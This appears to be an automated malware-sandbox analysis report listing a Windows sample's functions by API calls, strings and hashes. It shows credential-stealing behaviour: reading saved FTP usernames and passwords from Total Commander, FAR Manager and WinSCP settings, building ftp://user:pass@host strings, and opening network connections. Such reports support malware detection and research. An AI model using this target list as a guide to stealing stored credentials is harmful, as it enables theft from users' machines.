Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CharLower$CommandFileLineModuleName
String ID: /nomove
API String ID: 1338073227-1111986840
Opcode ID: f64901d43a542e62caf56568754323496182aa7e159d48bf7f08474787536f84
Instruction ID: b8029fc6669f79c45f6caaa8ce38406425976cf3cabd4088da44db58d281c6d8
Opcode Fuzzy Hash: f64901d43a542e62caf56568754323496182aa7e159d48bf7f08474787536f84
Instruction Fuzzy Hash: 7CF01D7290022956DB10A7B19C05BDB72ACFF40309F0445B6AA05F2180ED78EA548F95

Function 00407CD7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00001000,?,00000000,?,00407E44,00000001,UniqueNum), ref: 00407CF6
GetCurrentDirectoryW.KERNEL32(00001000,?,?,00407E44,00000001,UniqueNum), ref: 00407D15
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000004,00000002,00000000,?,00407E44,00000001,UniqueNum), ref: 00407D48

Strings

\merocz.xc6, xrefs: 00407D1B

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$CreateCurrentDirectoryModuleName
String ID: \merocz.xc6
API String ID: 3818821825-505599559
Opcode ID: 958115370d9fa0fe1f61a9c021a4e84f793f7b6e6975f338f53fe808b3c86dcf
Instruction ID: bb9f2ddab4bab237696810683399403c99d26191ea9c434de7a02090ea9b9a12
Opcode Fuzzy Hash: 958115370d9fa0fe1f61a9c021a4e84f793f7b6e6975f338f53fe808b3c86dcf
Instruction Fuzzy Hash: DA01A231904224ABE7309B569C49FEB77ADEF85710F00447FB505F20D1D6749A80CAAA

Function 00407727 Relevance: 6.1, APIs: 4, Instructions: 71COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000400,74DF0900,00000400,00000000,0040B4B3,00000000), ref: 00407744
ExpandEnvironmentStringsW.KERNEL32(?,00000400), ref: 00407784
GetLastError.KERNEL32(00000004), ref: 004077A9

Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004075FC
Part of subcall function 004075D4: CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00407618

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: File$Create$EnvironmentErrorExpandLastModuleNameStrings
String ID:
API String ID: 1536607067-0
Opcode ID: b2ecad4675651e133223641967df2b0444bb0b5a8c67c8da0a44246ab1e465c2
Instruction ID: de8f4f1c442ba604be96c6aabbb627c7d922d162aa2fadd5385f895ae0141ebd
Opcode Fuzzy Hash: b2ecad4675651e133223641967df2b0444bb0b5a8c67c8da0a44246ab1e465c2
Instruction Fuzzy Hash: AD11E972908249AED720D7A19C81FEB739CFB44354F10483BFB95E30D0E678B945866B

Function 004069C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,00000000,00000000,00000000,?,00000000,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069E3
RegCloseKey.KERNELBASE(?,?,?,?,w,@,00406CB0,Build,w,@), ref: 004069ED

Strings

w,@, xrefs: 004069C0

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CloseQueryValue
String ID: w,@
API String ID: 3356406503-3776089593
Opcode ID: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction ID: 7cb27e63b8b96f7a1a34dd7d249ffcc2d4336ce0f7aa5f451266b78b49120899
Opcode Fuzzy Hash: 149707b6f704b0206dcd429f7e61dcdc4ff4cc903c0dfabc6e5b0404234ae6db
Instruction Fuzzy Hash: DCE06D7A000208BBEF104F94CD09BD97BB9EB44358F208464BA00A6150D67596149B14

Function 004077F0 Relevance: 3.0, APIs: 2, Instructions: 30processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00407800
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,?,?), ref: 0040781B

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CreateProcess_memset
String ID:
API String ID: 1177741608-0
Opcode ID: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction ID: 3694313203bda926a09df6f19e1a61ce713b6a49f930e6e3ed03be73a1123fdc
Opcode Fuzzy Hash: 0cd9a43e4f1b4c0064b4bee2692f9063eedacf03e95d61430481666f95000588
Instruction Fuzzy Hash: 1DE048B294113876DB20A6E69C0DDDF7F6CDF06694F000121BA0EE50C4E5749608C6F5

Function 00406D14 Relevance: 3.0, APIs: 2, Instructions: 22networkCOMMON

Download Yara Rule

APIs

InternetAttemptConnect.WININET(00000000), ref: 00406D18
InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00406D2C

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Internet$AttemptConnectOpen
String ID:
API String ID: 2984283330-0
Opcode ID: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction ID: 3045e06cac02f36cd47ad2bbc893350a3e6c997d3593ce6e368a9b0161d3b649
Opcode Fuzzy Hash: 77bbdc1ab6611dce8fe5f9a2cfb0e06ed6a4e54537c27329ce6246ada380d11e
Instruction Fuzzy Hash: 04D05E713171312BE7345B763E48ACB2E4CDF02A61701043AF406D8090D6348851C6E8

Non-executed Functions

Function 004039EA Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403A09
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 00403A55
StrStrIW.SHLWAPI(?,?), ref: 00403ACF
StrStrIW.SHLWAPI(?,?), ref: 00403AE4
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF
GetPrivateProfileStringW.KERNEL32(?,?,00000000,000001FE,000000FF,?), ref: 00403B20
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403B36

Strings

connections, xrefs: 00403A79
password, xrefs: 00403AB8
host, xrefs: 00403A9A
default, xrefs: 00403A8B
ftp://%s:%s@%s, xrefs: 00403B50
username, xrefs: 00403AA9

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: PrivateProfileString$AllocateHeap
String ID: connections$default$ftp://%s:%s@%s$host$password$username
API String ID: 1411386233-3902919163
Opcode ID: df4bb6539310a0437bdb3c8e886131dc25bb36a28de64beaddf8d5a507c10e60
Instruction ID: 106d3b010c48b16868dcb071ba678aa04ac33b338b72d514ced31169f03d36dc
Opcode Fuzzy Hash: df4bb6539310a0437bdb3c8e886131dc25bb36a28de64beaddf8d5a507c10e60
Instruction Fuzzy Hash: A2513D71900109BAEB11EFA5DD41EAEBBBDEF44308F204077E904F6292D775AF068B58

Function 004032B8 Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 86libraryloadermemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00406A68: RegOpenKeyExW.ADVAPI32(80000001,AppEvents\Schemes\Apps\Explorer\Navigating\.current,00000000,00000001,?), ref: 00406A8C

Part of subcall function 00406ADF: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,?,?,?,?,004032CE), ref: 00406B2A

GetSystemMetrics.USER32(00000000), ref: 004032E5
GetSystemMetrics.USER32(00000001), ref: 004032ED
VirtualProtect.KERNEL32(75C50B80,0000000A,00000008,?), ref: 00403309
VirtualProtect.KERNEL32(75C50B88,0000000A,?,?), ref: 00403333
SetUnhandledExceptionFilter.KERNEL32(004032AF), ref: 0040333A
LoadLibraryW.KERNEL32(atl), ref: 00403345
GetProcAddress.KERNEL32(00000000,AtlAxWinInit), ref: 0040335D
GetProcAddress.KERNEL32(00000000,AtlAxAttachControl), ref: 0040336A
GetProcAddress.KERNEL32(00000000,AtlAxGetControl), ref: 00403377

Strings

AtlAxGetControl, xrefs: 0040336C
AtlAxWinInit, xrefs: 00403357
AtlAxAttachControl, xrefs: 0040335F
atl, xrefs: 00403340

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AddressProc$MetricsOpenProtectSystemVirtual$ExceptionFilterLibraryLoadUnhandled
String ID: AtlAxAttachControl$AtlAxGetControl$AtlAxWinInit$atl
API String ID: 3066332896-2664446222
Opcode ID: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction ID: 61d9a237d914756188f526d52bf2e891562662c8e4878cb3977fb5d3c9d5a9bd
Opcode Fuzzy Hash: fe1f50a485c472adffca313bd216073f3c2af1e46121dbe202f23b587a8dcd22
Instruction Fuzzy Hash: E6212771900390EED3019FBAAD84A5A7FE8EB5B31171545BBE556F32A0C7B80902CB79

Function 0040350F Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 185memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403566
GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 0040358A
RtlAllocateHeap.NTDLL(00000008,00000C20), ref: 004035B5
GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403639
GetPrivateProfileIntW.KERNEL32(?,?,00000015,?), ref: 00403653
GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00403681

Strings

pass, xrefs: 00403611
user, xrefs: 00403601
ftp://%s:%s@%s:%u, xrefs: 004036C3
port, xrefs: 004035F1

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: PrivateProfile$String$AllocateHeap$CombinePath
String ID: ftp://%s:%s@%s:%u$pass$port$user
API String ID: 3333933401-2696999094
Opcode ID: 5e129ef3ac38fdb4bd7dae3a7c765ce8d020abefe488821008289a7ec09e8bcb
Instruction ID: ca29095f8650abd3188745a74e72d347e34b1f07fc40ddfd65b33f15b90f053b
Opcode Fuzzy Hash: 5e129ef3ac38fdb4bd7dae3a7c765ce8d020abefe488821008289a7ec09e8bcb
Instruction Fuzzy Hash: D3515FB2104606AFE710EF61DC81EABBBEDEB88304F10493BF554A32D1D735DA058B56

Function 00408248 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 116sleepfilesynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 0040821C: PathCombineW.SHLWAPI(?,?,0040EC40,00408268,?,00000000), ref: 0040823C

FindFirstFileW.KERNEL32(?,?), ref: 00408280
WaitForSingleObject.KERNEL32(?,00000000), ref: 004082A6
PathMatchSpecW.SHLWAPI(0000002E,00000000), ref: 00408310
Sleep.KERNEL32(00000000), ref: 00408342
Sleep.KERNEL32(00000000), ref: 00408377
FindNextFileW.KERNEL32(00000000,00000010), ref: 004083A8
FindClose.KERNEL32(00000000), ref: 004083B9

Strings

., xrefs: 004082CE
5@, xrefs: 00408379
., xrefs: 004082B7
5@, xrefs: 0040833F

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Find$FilePathSleep$CloseCombineFirstMatchNextObjectSingleSpecWait
String ID: 5@$5@$.$.
API String ID: 2348139788-1020649804
Opcode ID: 4fc783ec1a5d9276aeedd160a7c130a666ca6b6505fadcd079d5b28b90bd0463
Instruction ID: 14d48cc84805742e6106b0fbd309534a1a80b5d2ede52edf6fcc6a53e93a4421
Opcode Fuzzy Hash: 4fc783ec1a5d9276aeedd160a7c130a666ca6b6505fadcd079d5b28b90bd0463
Instruction Fuzzy Hash: 35414F3140021DABCF219F50DE49BDE7B79AF84708F0401BAFD84B11A1EB7A9DA5CB59

Function 0040B096 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 181threadnetworkCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 0040B103
InternetSetPerSiteCookieDecisionW.WININET(begun.ru,00000005), ref: 0040B16F
GetLastError.KERNEL32(00000004), ref: 0040B188
CreateThread.KERNEL32(00000000,00000000,Function_0000B023,?,00000000,00000000), ref: 0040B1C3

Strings

\netprotdrvss.exe, xrefs: 0040B12D, 0040B293
begun.ru, xrefs: 0040B16A

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: CookieCreateDecisionErrorFileInternetLastModuleNameSiteThread
String ID: \netprotdrvss.exe$begun.ru
API String ID: 2887986221-2660752650
Opcode ID: c447aa35336725f8732cf0730d8f7f5f0cade8854a5a040e2a03077eb38439fa
Instruction ID: dc85dbecd2d93a1c92e95c54703b850062b4355e184197ecdf44903e32880826
Opcode Fuzzy Hash: c447aa35336725f8732cf0730d8f7f5f0cade8854a5a040e2a03077eb38439fa
Instruction Fuzzy Hash: 4351F571A00218BBEB206F65DC89AAF3769EB44349F00447BF904BA1D1D77C8D51CBAE

Function 00403C10 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 173COMMON

Download Yara Rule

APIs

Part of subcall function 0040848F: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,?,00000104,00000000,?,?,?,00403796,?,?,00000104,?,00000000), ref: 004084A5

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403C84

Part of subcall function 004039EA: RtlAllocateHeap.NTDLL(00000008,00020002), ref: 00403A09
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000,0000FFFF,?), ref: 00403A2C
Part of subcall function 004039EA: RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 00403A55
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403ACF
Part of subcall function 004039EA: StrStrIW.SHLWAPI(?,?), ref: 00403AE4
Part of subcall function 004039EA: GetPrivateProfileStringW.KERNEL32(?,?,00000000,00000000,000000FF,?), ref: 00403AFF

PathRemoveFileSpecW.SHLWAPI(?), ref: 00403CA3

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00403D2C
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00403DDF

Strings

#, xrefs: 00403D0E
installdir, xrefs: 00403DA1
*totalcmd*, xrefs: 00403CB7
*ghisler*, xrefs: 00403CD8
&, xrefs: 00403D07
SOFTWARE\Ghisler\Total Commander, xrefs: 00403C2F
*total*commander*, xrefs: 00403CC9
ftpininame, xrefs: 00403C41
$, xrefs: 00403CF9

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Heap$AllocateEnvironmentExpandPathPrivateProfileStringStrings$FileFolderFreeOpenRemoveSpec
String ID: #$$$&$*ghisler*$*total*commander*$*totalcmd*$SOFTWARE\Ghisler\Total Commander$ftpininame$installdir
API String ID: 1603279786-3914982127
Opcode ID: 26c8f4bebab1ae11d82167087f32e99de9e525031e1043edf7ba74d8e218de96
Instruction ID: e3ad36e3959a395177e0e2b587ea9ce0600459653a05a841f57562a17ae86195
Opcode Fuzzy Hash: 26c8f4bebab1ae11d82167087f32e99de9e525031e1043edf7ba74d8e218de96
Instruction Fuzzy Hash: AF516D72D0010CABDB10DAA1DC85FDF77BCEB44305F1044BBE515F2181EA789B898B65

Function 004027E6 Relevance: 21.4, APIs: 11, Strings: 1, Instructions: 355comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 004027F5

Part of subcall function 0040A469: InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040A535
Part of subcall function 0040A469: InternetSetOptionW.WININET(00000000,00000041,00000000,00000004), ref: 0040A551

Strings

From: true, xrefs: 00402827

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: Internet$InitializeOpenOption
String ID: From: true
API String ID: 1176259655-9585188
Opcode ID: 36ad01a7f3a6d2ce224a0f3363f0d94e822c0e02de412e7abea947b50f426571
Instruction ID: 80b93d55993982ee294e6d3758cd093c071ceb3c0ab782597868a4ea0391af47
Opcode Fuzzy Hash: 36ad01a7f3a6d2ce224a0f3363f0d94e822c0e02de412e7abea947b50f426571
Instruction Fuzzy Hash: 89C1E371E00219AFDF20AFA5CD49A9E77B5AB04304F10447BF814B32D2D6B89D41CFA9

Function 00402E3E Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

Part of subcall function 004058FB: _memset.LIBCMT ref: 0040591C

GetModuleFileNameW.KERNEL32(00000000,00420840,00001000), ref: 00402EC3
GetCurrentDirectoryW.KERNEL32(00001000,00420840), ref: 00402EDC
GetLastError.KERNEL32(?), ref: 00402F4E
GetLastError.KERNEL32 ref: 00403237
GetLastError.KERNEL32(?), ref: 00403258

Strings

^client=, xrefs: 0040301A
Via: , xrefs: 004030ED
file, xrefs: 0040300F
.html, xrefs: 00402FFE, 004031EE
none, xrefs: 00402F16
^key=, xrefs: 0040305E
From: , xrefs: 004030C8

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: ErrorLast$CurrentDirectoryFileModuleName_memset
String ID: .html$From: $Via: $^client=$^key=$file$none
API String ID: 2247176544-3749385445
Opcode ID: 5aad60fe16bdaf4296323caa5e87f39f8fc6d0746fd052f0818feb4d28a1d407
Instruction ID: 295a2e83bb6b363340795eecc9968ea2d400926a6410b4e4a91bd94f8c6abde8
Opcode Fuzzy Hash: 5aad60fe16bdaf4296323caa5e87f39f8fc6d0746fd052f0818feb4d28a1d407
Instruction Fuzzy Hash: 01B17E72A001199BCB24EF61CD91AEB77A9EF44304F4040BFF519E7291EA389A858F59

Function 004041E4 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 210registrymemoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000C0C), ref: 004041FD
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,00000008), ref: 004042B3
RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?), ref: 00404373
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404419
RegCloseKey.ADVAPI32(?), ref: 0040442A

Part of subcall function 0040BE3A: HeapFree.KERNEL32(00000000,00000000,00403736,?), ref: 0040BE4D

Strings

SOFTWARE\Far\Plugins\ftp\hosts, xrefs: 00404219
hostname, xrefs: 00404258
password, xrefs: 00404282
SOFTWARE\Far2\Plugins\ftp\hosts, xrefs: 0040422A
user, xrefs: 00404274
ftp://%s:%s@%s, xrefs: 004043B7
username, xrefs: 00404266

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: HeapOpen$AllocateCloseEnumFree
String ID: SOFTWARE\Far2\Plugins\ftp\hosts$SOFTWARE\Far\Plugins\ftp\hosts$ftp://%s:%s@%s$hostname$password$user$username
API String ID: 755471147-4007225339
Opcode ID: f29ce97687ee8e0874f7ebd76575de33d86bd70d41b4c66ff4b04de971eb53c9
Instruction ID: d928ca8cdb490927e602bcc25cbe761e1e9ca2c88fd961b6a2cac4e28df6e2a2
Opcode Fuzzy Hash: f29ce97687ee8e0874f7ebd76575de33d86bd70d41b4c66ff4b04de971eb53c9
Instruction Fuzzy Hash: CF717DB2900118ABCB20EB95CD45EEFBBBDEF48314F10457BF615F2181EA349A458B69

Function 0040451B Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 205registrymemoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000C20,?), ref: 00404542
RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 004045DA
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00404605
RegCloseKey.ADVAPI32(?), ref: 0040476D

Strings

hostname, xrefs: 00404586
password, xrefs: 004045B0
SOFTWARE\martin prikryl\winscp 2\sessions, xrefs: 0040456A
ftp://%s:%s@%s:%u, xrefs: 004046F3
portnumber, xrefs: 00404594
username, xrefs: 004045A2

Memory Dump Source

Source File: 00000005.00000002.2879823052.0000000000401000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2879801974.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000411000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879823052.0000000000429000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879873231.000000000042B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.2879888294.000000000042C000.00000004.00000001.01000000.00000007.sdmpDownload File

Similarity

API ID: AllocateCloseEnumHeapOpen
String ID: SOFTWARE\martin prikryl\winscp 2\sessions$ftp://%s:%s@%s:%u$hostname$password$portnumber$username
API String ID: 3847610418-285550827
Opcode ID: 1d9827a894f3f8a5ead85e530c3a22f3f32bf575e3091ef13a728acf1b8ae2ad
